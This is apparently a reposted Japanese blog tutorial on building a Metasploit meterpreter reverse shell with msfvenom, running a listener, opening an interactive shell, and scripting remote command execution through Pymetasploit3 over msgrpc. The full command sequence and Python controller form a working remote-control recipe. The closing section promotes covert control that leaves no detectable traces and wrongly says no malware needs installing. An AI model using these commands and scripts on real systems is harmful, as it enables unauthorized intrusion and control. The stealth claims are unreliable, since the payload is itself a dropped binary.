metasploit を使用してリバウンド シェル プログラムを生成し、リモート コントロールを実現します。

1.メタスプライトについて

        Metasploit は、Rapid7 によって開発および保守されているオープンソースのペネトレーション テスト フレームワークです。コンピューター システムのセキュリティを評価およびテストするための強力なツールとリソースのセットを提供します。Metasploit の目標は、セキュリティ専門家がシステムの脆弱性を発見して悪用し、システムのセキュリティを向上できるように支援することです。

        Metasploit の背景:
        もともと 2003 年に HD Moore によって作成された Metasploit は、ネットワーク侵入テストとエクスプロイトを簡素化するためのオープンソース セキュリティ ツールセットとして始まりました。Metasploit はコマンドライン ツールとして始まりましたが、時間が経つにつれて、強力で使いやすい侵入テスト フレームワークに進化しました。そのオープンソースの性質により、世界中のセキュリティ コミュニティが Metasploit に貢献して改善することができ、Metasploit は現在最も人気のある侵入テスト ツールの 1 つとなっています。

Metasploit の主な機能:
1. 脆弱性のスキャンと評価: Metasploit は、ターゲット システムの脆弱性を自動的にスキャンするために使用できる強力な脆弱性スキャン エンジンを提供します。SQL インジェクション、XSS などの一般的な脆弱性をスキャンし、セキュリティ専門家がシステムのセキュリティを評価するのに役立つ詳細なレポートを生成できます。

2. エクスプロイト: Metasploit は、既知のシステムの脆弱性をエクスプロイトするための広範なエクスプロイト モジュール セットを提供します。これらのモジュールは、ターゲット システムへのアクセス、コマンドの実行、機密情報の抽出などに使用できます。

3. ソーシャル エンジニアリング: Metasploit は、フィッシングやマルウェア配布などにおける個人のスキルをテストするためのいくつかのソーシャル エンジニアリング モジュールも提供します。これらのモジュールは、セキュリティ専門家がソーシャル エンジニアリング攻撃に対する従業員の回復力を評価するのに役立ちます。

4. リモート コントロール: Metasploit の重要な機能は、リモート コントロールを提供する機能です。ターゲット システムへの接続を確立することで、セキュリティ専門家はリモートでコマンドを実行したり、ファイルのアップロードとダウンロード、スクリーンショットの撮影などを行うことができます。

5. モジュール式アーキテクチャ: Metasploit のアーキテクチャはモジュール式であるため、ユーザーは必要に応じて機能をカスタマイズおよび拡張できます。ユーザーは独自のモジュールを作成することも、他のユーザーが共有するモジュールを Metasploit コミュニティから取得することもできます。

6. 自動化と統合: Metasploit は、他のセキュリティ ツールやプラットフォームと統合して、侵入テストや脆弱性管理を自動化できます。Nessus や Nmap などのツールと統合して、より包括的な侵入テスト ソリューションを提供できます。

要約:
        Metasploit は、セキュリティ専門家がシステムのセキュリティを評価および改善できるように設計された強力な侵入テスト フレームワークです。脆弱性スキャン、脆弱性悪用、ソーシャル エンジニアリング、リモート コントロールなどの一連の機能を提供し、セキュリティ専門家がシステム内の脆弱性をより適切に発見して悪用できるようにします。Metasploit のオープンソースの性質とモジュラー アーキテクチャにより、Metasploit はアクティブなセキュリティ コミュニティとなり、ユーザーは Metasploit に貢献して改善し、Metasploit を常に最新の状態に保ち、変化し続ける脅威環境に適応できるようにします。

        Metasploit を使用したい場合、最も簡単な方法は linux-kali を使用することです。インストール方法はブログを参照してください。

Kali linux のインストールは 5 分で完了します (VirtualBox ベース)_virtualbox のインストール kali_Xiaoxiangzi のブログ - CSDN ブログ

2. 制御側でリバウンド シェル プログラムを生成し、マスター制御側がリモート コントロール コマンドを送信します。

2.1 リバウンドシェルプログラムの生成

        kali マシン上で msfvenom を使用して、制御対象としてリバウンド シェル プログラムを作成すると、リバウンド シェル プログラムはマスター コンソールの開いているポートにアクティブに接続します。

        ここではメイン制御端末のipをローカルip 127.0.0.1に設定し、メイン制御端末のポートは4444とします。制御された側は Kali ローカル マシンで実行されるため、ペイロードは「linux/x64/meterpreter/reverse_tcp」を選択します。ペイロードにはさまざまな種類があり、msfconsole で「reverse_tcp」を検索すると、Windows であっても Android であっても多数のペイロードが見つかり、制御されている端末の動作環境に適したペイロードを見つけることができます。

┌──(root㉿kali)-[/home/kali/reverse_tcp_test]
└─# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o client_x64.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: client_x64.bin

2.2 コンソールの設定とリモート制御コマンドの実行

        kali コマンド ラインから「msfconsole」と入力して、metasploit を開きます。

        次のコマンドを使用してホストを構成します。

use payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
set ExitOnSession false

設定が完了したら使用します

exploit -j -z

マスターコントロールのリスニングポートを開きます。

        client_x64.binに実行権限を追加して実行します。アクティブ エンドに「Meterpreter セッション」(127.0.0.1:4444 -> 127.0.0.1:45906) があることがわかります。

        「ctrl +c」の後に session -l を使用すると、この時点で確立されたセッション ID が表示され、「session -i id」を通じてリバウンド シェルに入ることができます。リバース シェルではいくつかのコマンドを実行できますが、実行できるコマンドは非常に限られていることが簡単にわかります。(lsは実行可能ですが、whoami、echo等は実行できません)

        能力を強化するにはシェルに入る必要があります。Meterpreter では、「meterpreter > シェル」は、Meterpreter セッションからターゲット システムの対話型シェルに切り替えることを意味します。これは、ローカル システムのコマンド ライン インターフェイスであるかのように、ターゲット システム上でコマンドとアクションを実行できることを意味します。これは、ターゲット システムと直接対話し、より高度なタスクや操作を実行できるようにするため、重要な手順です。

        OK、これで制御された側を正常に制御できるようになりました。制御される側のプログラム権限が高ければ、より多くのことができるようになります。

        プロセス実行全体のスクリーンショットは次のとおりです。

3. MetasploitフレームワークのAPIを利用して自動カスタム送信制御コマンドを実現

3.1 Pymetasploit3

Pymetasploit3 は、Python で書かれた Metasploit フレームワーク用の API です。Metasploit フレームワークと対話する機能を提供し、ユーザーが Metasploit のさまざまな機能やツールをプログラムで使用できるようにします。Pymetasploit3 の主な用途は次のとおりです。

1. 侵入テストの自動化: Pymetasploit3 を使用すると、ユーザーは Python スクリプトを作成して侵入テスト タスクを自動化できます。ユーザーは、Pymetasploit3 API を使用して、脆弱性のスキャン、脆弱性の悪用、ターゲット システムへのアクセスの取得など、さまざまな侵入テスト操作を実行できます。これにより、ペネトレーション テスターは反復的なタスクをより効率的に実行し、Metasploit フレームワークをワークフローに統合できるようになります。

2. カスタム モジュールの開発: Pymetasploit3 は、ユーザーが独自の Metasploit モジュールを作成できるようにする API セットを提供します。ユーザーは、Pymetasploit3 API を使用して、独自のニーズとターゲット システムの特性に基づいてカスタマイズされたモジュールを開発し、より正確で効果的な侵入テストを実現できます。これにより、ユーザーは特定のシナリオやニーズに応じて Metasploit フレームワークの機能を拡張およびカスタマイズできます。

3. データ分析とレポート生成: Pymetasploit3 は、Metasploit フレームワークによって生成されたデータにアクセスして処理するための機能を提供します。ユーザーは Pymetasploit3 API を使用して、スキャン レポートや脆弱性情報などの侵入テスト プロセス中に結果データを取得できます。これにより、ユーザーは侵入テストの結果を分析および解釈し、詳細なレポートを生成してテスト結果と推奨事項を関係者に伝えることができます。

4. 脆弱性の管理と追跡: Pymetasploit3 を使用すると、ユーザーはプログラムで脆弱性を管理および追跡できます。ユーザーは、Pymetasploit3 API を使用して、脆弱性情報の取得、脆弱性ステータスの更新、脆弱性修復の進行状況の追跡などを行うことができます。これにより、ユーザーは侵入テストで見つかった脆弱性をより適切に整理および管理できるようになり、脆弱性修復の効率と精度が向上します。

        要約:
        Pymetasploit3 は、Python で書かれた Metasploit フレームワーク用の API で、Metasploit フレームワークと対話する機能を提供します。その主な用途には、侵入テストの自動化、カスタム モジュールの開発、データ分析とレポートの生成、脆弱性の管理と追跡が含まれます。Pymetasploit3 を使用すると、ユーザーはプログラムによって侵入テスト タスクをより効率的に実行し、Metasploit フレームワークの機能をカスタマイズおよび拡張し、テスト結果を分析およびレポートすることができます。

3.2 Pymetasploit3 を使用するいくつかのプログラム

3.2.1 RPCについて

        利用前に入力が必要です

load msgrpc

        出力が表示されます

msf6 payload(linux/x64/meterpr
eter/reverse_tcp) > load msgrpc                
[*] MSGRPC Service:  127.0.0.1:55552 
[*] MSGRPC Username: msf
[*] MSGRPC Password: DCcxOGeW
[*] Successfully loaded plugin: msgrpc

        ここで RPC パスワード「DCcxOGeW」が生成されます。これは後で使用します。もちろん、ここでのパスワードは自分で設定することもできます。

        おそらく、「load msgrpc」で何ができるのかと聞きたいかもしれません。その役割は、Metasploit フレームワークによるリモート通信と制御のために Metasploit RPC (リモート プロシージャ コール) サービスをロードすることです。

        具体的には、「load msgrpc」コマンドは、ユーザーがネットワーク経由で Metasploit フレームワークに接続し、API を使用して対話できるようにする RPC サービスを開始します。RPC サービスが開始されると、ユーザーはさまざまなプログラミング言語 (Python、Ruby など) でスクリプトを作成し、API を介して Metasploit フレームワークと通信し、さまざまな侵入テストのタスクと操作を実行できます。

        msgrpc をロードすることで、ユーザーは次の機能を実現できます。

1. リモート コントロール: ユーザーは、ネットワーク経由で Metasploit フレームワークに接続し、脆弱性のスキャン、脆弱性の悪用、アクセス権の取得など、さまざまな侵入テスト タスクをリモートの場所から実行できます。これは、リモート サーバー上で侵入テスト タスクを実行するなど、侵入テスト タスクをリモートで実行する必要があるシナリオに非常に役立ちます。

2. 自動化と統合: RPC サービスを通じて、ユーザーは侵入テスト タスクを自動化し、Metasploit フレームワークをワークフローに統合するためのスクリプトを作成できます。ユーザーはさまざまなプログラミング言語とツールを使用して Metasploit フレームワークと対話し、より効率的でカスタマイズされた侵入テストを可能にすることができます。

3. 分散侵入テスト: 複数の RPC サービスを開始することで、ユーザーは分散侵入テストを実装できます。これは、ユーザーが複数のマシンで同時に侵入テスト タスクを実行できるため、テストの効率と速度が向上することを意味します。

3.2.2 Pythonプログラム(参考プログラム)

次の Python ファイルを作成して、Metasploit RPC (リモート プロシージャ コール) サービスを利用して Metasploit フレームワークに接続できます。

# -*- coding:utf-8 -*-
from pymetasploit3.msfrpc import MsfRpcClient
#参数需要参考msgrpc的输出
client = MsfRpcClient(password='DCcxOGeW', server='127.0.0.1', port=55552)
#session id需要通过“sessions -l”来获得,一般是1
session=client.sessions.session("1")
if session:
    print("Meterpreter会话已建立")
    shell = session.start_shell()
    if shell:
        print("交互式Shell已启动")

        while True:
            command = input("请输入命令:")
            if command.lower() == "exit":
                break
            else:
                print("您输入的命令是:",command)
                session.write(command + "\n")
                output = session.read()
                print(output)
    else:
        print("无法启动交互式Shell")

他にもgithubに色々な書き方があるのを見たので参考までにいくつか挙げておきます。

GitHub - Coalfire-Research/pymetasploit3、0afc16bc04016187de6786dbb93c94874b5e3101

https://github.com/ir-st/ANPT/blob/62213fd804887f4d78531af87696b743c2e684a6/example/MsfRPC%20testing.py#L4

https://github.com/sec-js/Xerror/blob/07ec57cabcd27cdb47c89af452bdf4ed07207347/xerror/parsing/msf_rpc_session_handler.py#L3

4. 最後に

        Metasploit のリモート コントロール用のリバース シェルを生成する方法には、次の利点があります。

1. 高度なカスタマイズ性: Metasploit フレームワークは、特定のニーズに応じてカスタマイズされたリバウンド シェルを生成できる豊富なモジュールとツールを提供します。ユーザーは、ターゲットシステムの特性と実際の条件に応じて、対応するモジュールと構成を選択し、より正確で効果的な遠隔制御を実現できます。

2. マルチプラットフォームのサポート: Metasploit フレームワークは、Windows、Linux、Mac などの複数のオペレーティング システムとプラットフォームをサポートします。これは、ユーザーが Metasploit を使用して、さまざまなオペレーティング システムに適したリバース シェルを生成し、クロスプラットフォームのリモート コントロールを実現できることを意味します。

3. 脆弱性を悪用する強力な機能: Metasploit フレームワークには、既知の脆弱性を利用してターゲット システムにアクセスできる多数の悪用モジュールが統合されています。リバース シェルを生成することで、ユーザーはこれらのエクスプロイト モジュールを使用してリモート コントロールを実現し、コマンドの実行、ファイルのアップロードとダウンロード、機密情報の取得など、ターゲット システム上でさまざまな操作を実行できます。

4. マルウェアの事前インストールは不要: リバース シェルを生成する方法では、通常、ターゲット システムにマルウェアを事前にインストールする必要はありません。これは、既知の脆弱性を悪用することにより、ユーザーがターゲット システム上でコードを直接実行して、ターゲット システム上に検出および削除可能な痕跡を残さずにリモート コントロールを実現できることを意味します。

5. 高い柔軟性と拡張性: Metasploit フレームワークのリバース シェル生成方法は、特定のニーズに応じてカスタマイズおよび拡張できます。ユーザーは、Metasploit フレームワークが提供する API とプログラミング言語を使用してカスタム モジュールとスクリプトを作成し、より複雑で具体的なリモート コントロール機能を実現できます。
        したがって、Metasploit のリモート コントロール用のリバース シェルを生成する方法には、高度なカスタマイズ、マルチプラットフォームのサポート、強力な脆弱性悪用機能、事前にマルウェアをインストールする必要がなく、高い柔軟性と拡張性という利点があります。これにより、ユーザーはターゲット システムの特定のニーズと特性に応じて、正確で効果的な秘密のリモート制御を実現できます。

おすすめ

転載: blog.csdn.net/qq_33163046/article/details/132328117